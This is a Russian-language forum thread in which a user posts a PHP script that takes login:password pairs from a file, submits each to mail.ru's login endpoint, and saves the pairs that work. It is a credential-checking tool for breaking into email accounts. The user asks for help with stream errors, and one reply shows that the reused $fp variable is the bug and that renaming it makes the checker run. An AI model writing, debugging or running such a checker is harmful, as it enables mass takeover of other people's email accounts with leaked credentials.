PHP: <?php Error_Reporting(E_ALL & ~E_NOTICE); set_time_limit(5); $acc="la.txt"; $fp=@fopen($acc,"r"); while(!feof($fp)){ $account = trim(fgets($fp)); $ac = explode(":", $account); $login = $ac[0]; $pass = $ac[1]; $domain=""; if(preg_match("/mail.ru/", $login)) {$domain="@mail.ru";} elseif(preg_match("/bk.ru/", $login)) {$domain="@bk.ru";} elseif(preg_match("/inbox.ru/", $login)) {$domain="@inbox.ru";} elseif(preg_match("/list.ru/", $login)) {$domain="@list.ru";} $login=str_replace($domain, "", $login); $fp = fsockopen('win.mail.ru', 80, $errno, $errstr, 30); if ($fp) { $data = "Login=$login&Domain=$domain&Password=$pass"; $headers = "POST /cgi-bin/auth HTTP/1.1\n"; $headers .= "Host: win.mail.ru\n"; $headers .= "Connection: close\n"; $headers .= "Content-Type: application/x-www-form-urlencoded\n"; $headers .= "Content-Length: ".strlen($data)."\n\n".$data; fwrite($fp, $headers); $line=''; while (!feof($fp)) { $line .= fgets($fp, 1024); } fclose($fp); } $auth=0; $text="302 OK"; if(preg_match("/$text/i", "$line")) {$auth=1;} else {$auth=0;} if($auth==1) { $file=fopen("base.txt", "a"); fwrite($file, "<br>$login@$domain:$pass</br>"); fclose($file);} } ?> Вылезают ошибки Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8 Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9 Что не так? Не могу понять...
а собствено о чем отписывать если php сам все отписал? Из ошибки ясно видно что la.txt не было в дириктории со скриптом либо он был не доступен для чтения php.
Пересекались переменные $fp. В какой-то момент скрипт начинал воспринимать переменную $fp (которая открывает сокет) как линк к файлу, и, понятное дело, сообщал, что такого файла он найти не может. После ренейма переменной все встало на свои места